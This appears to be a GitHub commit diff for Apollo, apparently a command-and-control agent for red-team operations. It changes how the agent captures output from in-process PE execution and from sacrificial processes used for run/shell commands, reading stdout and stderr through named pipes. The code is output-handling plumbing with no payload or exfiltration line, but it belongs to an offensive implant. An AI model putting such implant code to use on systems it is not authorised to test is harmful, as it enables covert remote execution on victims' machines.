Skip to content

Commit 6646cea

Browse files
committed
fixes for execute_pe/run/shell
1 parent 05896c9 commit 6646cea

File tree

7 files changed

+386
-107
lines changed

7 files changed

+386
-107
lines changed

Payload_Type/apollo/CHANGELOG.MD

Lines changed: 8 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -4,6 +4,14 @@ All notable changes to this project will be documented in this file.
44
The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/),
55
and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
66

7+
## [v2.2.19] - 2024-11-08
8+
9+
### Changed
10+
11+
- Updated execute_pe code to use named pipes for reading output
12+
- Updated sacrificial process code to read stdout as well for commands like run
13+
- Updated run/shell to read output and exit
14+
715
## [v2.2.18] - 2024-10-16
816

917
### Changed
Lines changed: 142 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,142 @@
1+
#define NAMED_PIPE
2+
using System;
3+
using System.IO.Pipes;
4+
using System.IO;
5+
using static ExecutePE.Internals.NativeDeclarations;
6+
using System.Threading.Tasks;
7+
using System.Threading;
8+
using ApolloInterop.Classes.Events;
9+
10+
namespace ExecutePE.Helpers
11+
{
12+
13+
class StdHandleRedirector : IDisposable
14+
{
15+
NamedPipeServerStream stdoutServerStream;
16+
NamedPipeClientStream stdoutClientStream;
17+
18+
FileStream stdoutReader;
19+
20+
private IntPtr _oldStdout;
21+
private IntPtr _oldStderr;
22+
23+
private event EventHandler<StringDataEventArgs> _stdoutHandler;
24+
25+
private CancellationTokenSource _cts = new CancellationTokenSource();
26+
private Task _stdoutReadTask;
27+
28+
public StdHandleRedirector(EventHandler<StringDataEventArgs> stdoutHandler)
29+
{
30+
_stdoutHandler += stdoutHandler;
31+
32+
Initialize();
33+
34+
_stdoutReadTask = new Task(() =>
35+
{
36+
ReadStdoutAsync();
37+
});
38+
39+
40+
_stdoutReadTask.Start();
41+
}
42+
43+
44+
private void Initialize()
45+
{
46+
47+
string stdoutGuid = Guid.NewGuid().ToString();
48+
49+
stdoutServerStream = new NamedPipeServerStream(stdoutGuid, PipeDirection.InOut, 100, PipeTransmissionMode.Byte, PipeOptions.Asynchronous);
50+
stdoutServerStream.BeginWaitForConnection(new AsyncCallback(stdoutServerStream.EndWaitForConnection), stdoutServerStream);
51+
52+
stdoutClientStream = new NamedPipeClientStream("127.0.0.1", stdoutGuid, PipeDirection.InOut, PipeOptions.Asynchronous);
53+
stdoutClientStream.Connect();
54+
55+
stdoutReader = new FileStream(stdoutServerStream.SafePipeHandle.DangerousGetHandle(), FileAccess.Read);
56+
57+
_oldStdout = GetStdHandle(StdHandles.Stdout);
58+
_oldStderr = GetStdHandle(StdHandles.Stderr);
59+
60+
SetStdHandle(StdHandles.Stdout, stdoutClientStream.SafePipeHandle.DangerousGetHandle());
61+
SetStdHandle(StdHandles.Stderr, stdoutClientStream.SafePipeHandle.DangerousGetHandle());
62+
}
63+
64+
private void ReadFileStreamAsync(FileStream stream, EventHandler<StringDataEventArgs> eventhandler)
65+
{
66+
int szBuf = 4096;
67+
byte[] tmp;
68+
int n;
69+
byte[] newstr;
70+
71+
do
72+
{
73+
tmp = new byte[szBuf];
74+
n = 0;
75+
Task<string> t = new Task<string>(() =>
76+
{
77+
n = stream.Read(tmp, 0, szBuf);
78+
if (n > 0)
79+
{
80+
newstr = new byte[n];
81+
Array.Copy(tmp, newstr, n);
82+
return Console.OutputEncoding.GetString(newstr);
83+
}
84+
return null;
85+
});
86+
t.Start();
87+
try
88+
{
89+
t.Wait(_cts.Token);
90+
}
91+
catch (OperationCanceledException)
92+
{
93+
break;
94+
}
95+
if (t.Status == TaskStatus.RanToCompletion)
96+
{
97+
eventhandler?.Invoke(this, new StringDataEventArgs(t.Result));
98+
}
99+
} while (!_cts.IsCancellationRequested);
100+
101+
do
102+
{
103+
tmp = new byte[szBuf];
104+
n = stream.Read(tmp, 0, szBuf);
105+
if (n > 0)
106+
{
107+
newstr = new byte[n];
108+
Array.Copy(tmp, newstr, n);
109+
eventhandler?.Invoke(this, new StringDataEventArgs(Console.OutputEncoding.GetString(newstr)));
110+
}
111+
else
112+
{
113+
break;
114+
}
115+
} while (n > 0);
116+
}
117+
118+
private void ReadStdoutAsync()
119+
{
120+
ReadFileStreamAsync(stdoutReader, _stdoutHandler);
121+
}
122+
123+
public void Dispose()
124+
{
125+
SetStdHandle(StdHandles.Stderr, _oldStderr);
126+
SetStdHandle(StdHandles.Stdout, _oldStdout);
127+
128+
stdoutClientStream.Flush();
129+
130+
stdoutClientStream.Close();
131+
132+
_cts.Cancel();
133+
134+
Task.WaitAll(new Task[]
135+
{
136+
_stdoutReadTask
137+
});
138+
139+
stdoutServerStream.Close();
140+
}
141+
}
142+
}

Payload_Type/apollo/apollo/agent_code/ExecutePE/Program.cs

Lines changed: 81 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -12,18 +12,27 @@
1212
using ApolloInterop.Classes.Events;
1313
using ApolloInterop.Enums.ApolloEnums;
1414
using ApolloInterop.Constants;
15+
using ST = System.Threading.Tasks;
16+
using System.IO.Pipes;
17+
using ApolloInterop.Classes.IO;
18+
using System.IO;
19+
using ExecutePE.Helpers;
1520

1621
namespace ExecutePE
1722
{
1823
internal static class Program
1924
{
2025
private static JsonSerializer _jsonSerializer = new JsonSerializer();
2126
private static string? _namedPipeName;
27+
private static ConcurrentQueue<byte[]> _senderQueue = new ConcurrentQueue<byte[]>();
2228
private static ConcurrentQueue<IMythicMessage> _recieverQueue = new ConcurrentQueue<IMythicMessage>();
2329
private static AsyncNamedPipeServer? _server;
30+
private static AutoResetEvent _senderEvent = new AutoResetEvent(false);
2431
private static AutoResetEvent _receiverEvent = new AutoResetEvent(false);
2532
private static ConcurrentDictionary<string, ChunkedMessageStore<IPCChunkedData>> MessageStore = new ConcurrentDictionary<string, ChunkedMessageStore<IPCChunkedData>>();
26-
33+
private static CancellationTokenSource _cts = new CancellationTokenSource();
34+
private static Action<object>? _sendAction;
35+
private static ST.Task? _clientConnectedTask;
2736

2837
private static int Main(string[] args)
2938
{
@@ -32,10 +41,35 @@ private static int Main(string[] args)
3241
throw new Exception("No named pipe name given.");
3342
}
3443
_namedPipeName = args[0];
44+
_sendAction = (object p) =>
45+
{
46+
PipeStream pipe = (PipeStream)p;
47+
48+
while (pipe.IsConnected && !_cts.IsCancellationRequested)
49+
{
50+
WaitHandle.WaitAny(new WaitHandle[] {
51+
_senderEvent,
52+
_cts.Token.WaitHandle
53+
});
54+
while (_senderQueue.TryDequeue(out byte[] result))
55+
{
56+
pipe.BeginWrite(result, 0, result.Length, OnAsyncMessageSent, pipe);
57+
}
58+
}
59+
60+
while (_senderQueue.TryDequeue(out byte[] message))
61+
{
62+
pipe.BeginWrite(message, 0, message.Length, OnAsyncMessageSent, pipe);
63+
}
3564

65+
// Wait for all messages to be read by Apollo
66+
pipe.WaitForPipeDrain();
67+
pipe.Close();
68+
};
3669
_server = new AsyncNamedPipeServer(_namedPipeName, instances: 1, BUF_OUT: IPC.SEND_SIZE, BUF_IN: IPC.RECV_SIZE);
70+
_server.ConnectionEstablished += OnAsyncConnect;
3771
_server.MessageReceived += OnAsyncMessageReceived;
38-
72+
var return_code = 0;
3973
try
4074
{
4175
if (IntPtr.Size != 8)
@@ -44,7 +78,7 @@ private static int Main(string[] args)
4478
}
4579

4680
_receiverEvent.WaitOne();
47-
_server.Stop();
81+
//_server.Stop();
4882

4983
IMythicMessage taskMsg;
5084

@@ -59,16 +93,43 @@ private static int Main(string[] args)
5993
}
6094

6195
ExecutePEIPCMessage peMessage = (ExecutePEIPCMessage)taskMsg;
62-
PERunner.RunPE(peMessage);
63-
return 0;
96+
97+
using (StdHandleRedirector redir = new StdHandleRedirector(OnBufferWrite))
98+
{
99+
PERunner.RunPE(peMessage);
100+
}
101+
64102
}
65103
catch (Exception exc)
66104
{
67-
Console.WriteLine(exc.ToString());
68-
return exc.HResult;
105+
// Handle any exceptions and try to send the contents back to Mythic
106+
_senderQueue.Enqueue(Encoding.UTF8.GetBytes(exc.ToString()));
107+
_senderEvent.Set();
108+
return_code = exc.HResult;
69109
}
70-
}
110+
_cts.Cancel();
71111

112+
// Wait for the pipe client comms to finish
113+
while (_clientConnectedTask is ST.Task task && !_clientConnectedTask.IsCompleted)
114+
{
115+
task.Wait(1000);
116+
}
117+
return return_code;
118+
}
119+
private static void OnBufferWrite(object sender, StringDataEventArgs args)
120+
{
121+
if (args.Data != null)
122+
{
123+
_senderQueue.Enqueue(Encoding.UTF8.GetBytes(args.Data));
124+
_senderEvent.Set();
125+
}
126+
}
127+
private static void OnAsyncMessageSent(IAsyncResult result)
128+
{
129+
PipeStream pipe = (PipeStream)result.AsyncState;
130+
pipe.EndWrite(result);
131+
pipe.Flush();
132+
}
72133
private static void OnAsyncMessageReceived(object sender, NamedPipeMessageArgs args)
73134
{
74135
IPCChunkedData chunkedData = _jsonSerializer.Deserialize<IPCChunkedData>(
@@ -99,5 +160,17 @@ private static void DeserializeToReceiverQueue(object sender, ChunkMessageEventA
99160
_recieverQueue.Enqueue(msg);
100161
_receiverEvent.Set();
101162
}
163+
164+
public static void OnAsyncConnect(object sender, NamedPipeMessageArgs args)
165+
{
166+
// We only accept one connection at a time, sorry.
167+
if (_clientConnectedTask != null)
168+
{
169+
args.Pipe.Close();
170+
return;
171+
}
172+
_clientConnectedTask = new ST.Task(_sendAction, args.Pipe);
173+
_clientConnectedTask.Start();
174+
}
102175
}
103176
}

Payload_Type/apollo/apollo/agent_code/Process/SacrificialProcess.cs

Lines changed: 23 additions & 17 deletions
Original file line numberDiff line numberDiff line change
@@ -569,9 +569,9 @@ private void PostStartupInitialize()
569569
{
570570
Handle = _processInfo.hProcess;
571571
PID = (uint)_processInfo.dwProcessId;
572-
//_standardOutput = new StreamReader(new FileStream(hReadOut, FileAccess.Read), Console.OutputEncoding);
573-
//_standardError = new StreamReader(new FileStream(hReadErr, FileAccess.Read), Console.OutputEncoding);
574-
//_standardInput = new StreamWriter(new FileStream(hWriteIn, FileAccess.Write), Console.InputEncoding);
572+
_standardOutput = new StreamReader(new FileStream(hReadOut, FileAccess.Read), Console.OutputEncoding);
573+
_standardError = new StreamReader(new FileStream(hReadErr, FileAccess.Read), Console.OutputEncoding);
574+
_standardInput = new StreamWriter(new FileStream(hWriteIn, FileAccess.Write), Console.InputEncoding);
575575
}
576576

577577
private async void WaitForExitAsync()
@@ -580,22 +580,24 @@ private async void WaitForExitAsync()
580580
{
581581
await Task.Factory.StartNew(() =>
582582
{
583-
//var stdOutTask = GetStdOutAsync();
584-
//var stdErrTask = GetStdErrAsync();
585-
//var waitExitForever = new Task(() =>
586-
//{
587-
// _pWaitForSingleObject(Handle, 0xFFFFFFFF);
588-
//});
589-
//stdOutTask.Start();
590-
//stdErrTask.Start();
591-
//waitExitForever.Start();
583+
var stdOutTask = GetStdOutAsync();
584+
var stdErrTask = GetStdErrAsync();
585+
var waitExitForever = new Task(() =>
586+
{
587+
_pWaitForSingleObject(Handle, 0xFFFFFFFF);
588+
});
589+
stdOutTask.Start();
590+
stdErrTask.Start();
591+
waitExitForever.Start();
592+
592593
try
593594
{
594-
//waitExitForever.Wait(_cts.Token);
595-
WaitHandle.WaitAny(new WaitHandle[]
596-
{
597-
_cts.Token.WaitHandle,
598-
});
595+
waitExitForever.Wait(_cts.Token);
596+
// at this point, the process has exited
597+
//WaitHandle.WaitAny(new WaitHandle[]
598+
//{
599+
// _cts.Token.WaitHandle,
600+
//});
599601
}
600602
catch (OperationCanceledException)
601603
{
@@ -642,6 +644,10 @@ private IEnumerable<string> ReadStream(TextReader stream)
642644
if (readTask.IsCompleted)
643645
{
644646
bytesRead = readTask.Result;
647+
} else
648+
{
649+
bytesRead = 0;
650+
645651
}
646652
//bytesRead = stream.Read(buf, 0, szBuffer);
647653

0 commit comments

Comments
 (0)